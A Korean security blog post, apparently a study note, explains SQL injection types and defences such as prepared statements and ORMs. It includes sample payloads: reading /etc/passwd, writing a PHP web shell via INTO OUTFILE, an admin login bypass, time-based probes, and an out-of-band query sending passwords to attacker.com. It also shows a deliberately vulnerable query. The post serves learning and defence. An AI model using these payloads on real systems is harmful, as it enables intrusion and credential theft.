정보보안/Web Hacking

[Web Hacking] SQL Injection

Yoonsoo Park 2025. 1. 9. 17:45

1. SQL Injection 이란?

 SQL Injection은 웹 애플리케이션에서 입력값을 통해 악의적인 SQL 코드를 삽입하여 데이터베이스를 조작하거나, 민감한 정보를 탈취하는 공격 기법이다. SQL Injection은 사용자의 입력값을 제대로 필터링, 이스케이프 하지 않아 발생한다. 

 

 SQL Injection 공격의 핵심은 서버 측의 SQL 쿼리에 클라이언트 측에서 악의적인 SQL 코드를 삽입했을 때, 해당 코드가 쿼리 로직의 일부로 처리되어 쿼리의 의미가 변경되고, 의도하지 않은 데이터의 유출, 변조가 가능하다는 것이다.

 

 

2. SQL Injection의 공격 목적

1) 정보 유출(Information Leakage)

2) 저장된 데이터 유출 및 조작(Disclosure & Manipulation of stored Data)

3) 원격 코드 실행(Remote Code Excution)

  • 일부 데이터베이스의 경우 확장 프로시저를 이용하여 원격으로 시스템 명령의 실행이 가능하다. 시스템 명령의 실행은 원격 자원 접근 및 데이터 유출, 삭제가 가능하다 
  • 가능한 DB) MySQL, MSSQL, Oracle DB, PostgreSQL
  • MySQL에서 SQLi를 통한 RCE
    • SELECT LOAD_FILE('/etc/passwd'); => LOAD_FILE() 함수를 통해 로컬 파일을 읽을 수 있다 
    • SELECT '<?= system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; => INTO_OUTFILE() 을 통해 파일을 작성하거나 악성 스크립트를 서버에 업로드할 수 있다

4) 인증 우회(Bypassing Authorisation Controls)

  • 대표적인 공격 중 하나로 상위 권한을 가진 사용자(admin..)의 권한으로 인증 절차를 우회하여 로그인 정보 없이 로그인 할 수 있다 
  • SELECT * FROM users WHERE username = 'admin' -- ' AND password = '';

 

 

3. SQL Injection 공격 분류 

SQL Injection은 크게 일반적인 SQLi, Blind SQLi, Out-of-band SQLi로 분류된다. 다음의 분류표를 참고하자.

구분 예시
Classic SQLi Union-based SQLi, Error-based SQLi
Blind SQLi Boolean-based SQLi, Time-based SQLi
Out-of-band SQLi  

 

1) Classic SQLi

공격자가 입력 필드 또는 URL을 통해 SQL 쿼리를 직접 조작하며, 응답 결과를 통해 취약점이 존재하는지 확인하는 방식이다.

  • Union-based SQLi
    • SQL에서 UNION은 두 개 이상의 SELECT 구문을 결합하여 하나의 결과값으로 출력한다. 이러한 기능을 이용하여 공격자는 쿼리의 일부로 UNION SELECT 구문을 삽입하여 원하는 결과값을 가져올 수 있다.
    • UNION 절을 사용하기 위해서는 결합하고자 하는 두 테이블의 컬럼의 수와 데이터 유형이 동일해야 한다 
      • 일반적으로 null  값을 삽입해서 맞춘다
      • SELECT username, password FROM users WHERE id = 1 UNION SELECT version(), database();
  • Error-based SQLi
    • 공격자가 데이터베이스의 에러 메세지를 통해 중요한 정보를 추출하고, 데이터베이스를 조작하는 방법이다

2) Blind SQLi

 Blind SQLi는 데이터베이스에서 직접적인 응답을 확인할 수 없는 상황에서 응답의 변화(참/거짓) 또는 시간 차이를 분석하여 데이터베이스 정보를 유추하는 공격 기법이다.

  • Boolean-based SQLi
    • 애플리케이션의 응답(페이지 컨텐츠 변화, HTTP 상태 코드 등)을 통해 참/거짓 여부를 확인하여 결과값을 유추한다
    • select ascii(substr(pw, 1, 1)) from admin_area_pw limit 0, 1
  • Time-based SQLi
    • 조건이 참일 경우 데이터베이스가 일정 시간 동안 응답을 지연하도록 설정하여 결과값을 유추한다
    • SELECT * FROM products WHERE id = '1' AND IF(1=1, SLEEP(5), 0)--; 

3) Out-of-band SQLi

 DNS 요청이나 HTTP 요청을 통해 데이터베이스 외부로 데이터를 전송하고, 해당 요청을 가로채 분석하여 데이터를 추출하는 공격 기법이다.

 

ex) SELECT UTL_HTTP.REQUEST('http://attacker.com/?data='||(SELECT password FROM users));

사용자의 비밀번호를 포함하여 공격자의 서버로 HTTP 요청을 보내게 한다

 

 

4. SQL Injection 방어 방법

1) 사용자 입력 검증

  • 모든 사용자 입력을 필터링, 이스케이프 처리한다
  • ex) ', "(쿼터), - 와 같은 특수 문자. UNION, SELECT 와 같은 예약 문자

2) Prepared Statement 사용

  • 쿼리와 데이터를 분리해서 실행해 사용자 입력값이 SQL 쿼리로 해석되지 않고, 안전하게 처리한다. 
  • 사용자가 입력한 값(인젝션한 구문)은 쿼리 템플릿에 삽입되지 않고, 별도로 서버로 전송되어 공격 구문으로 실행될 수 없다.
  • Prepared Statement는 입력값을 자동으로 이스케이프 처리해 텍스트로 취급해버린다.
취약한 코드(python(
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
Prepared Statement를 사용한 코드
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password)) 
Prepared Statement를 사용한 코드(Java)
String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);

// 바인딩 단계
pstmt.setInt(1, 42); // 첫 번째 플레이스홀더(?)에 값 42를 바인딩

// 실행 단계
ResultSet rs = pstmt.executeQuery();

 

3) ORM(Object Relational Mapping) 사용

  • SQL 쿼리를 직접 작성하지 않고 ORM 도구(Django ORM, Hibernate 등)를 사용하여 데이터베이스와 상호작용

4) 최소 권한 원칙 적용

  • 데이터베이스 사용자 계정에 최소 권한만 부여하여 피해를 줄인다

5) 에러 메세지 숨기기

  • 데이터베이스의 에러 메세지가 클라이언트에 노출되지 않도록 설정

6) WAF(Web Application Firewall) 활용

  • SQL Injection 공격 패턴을 탐지하고 차단한다

 

 

##Cheatsheet 사이트##

1. Payloads All The Things

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

 

PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

 

2. Pentest Monkey

https://pentestmonkey.net/category/cheat-sheet/sql-injection

 

SQL Injection | pentestmonkey

Ingres seems to be one of the less common database backends for web applications, so I thought it would be worth installing it and making some notes to make my next Ingres-based web app test a little easier.

pentestmonkey.net

 

3. SQLMap

https://github.com/sqlmapproject/sqlmap

 

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

Automatic SQL injection and database takeover tool - sqlmapproject/sqlmap

github.com

 

 

 

 힘들지만 오늘도 해낸 나를 위한 한 마디,

"Every strike brings me closer to the next homerun", Babe Ruth

 

"실패에 좌절하지 말고, 승리를 향한 거름임을 확신하라"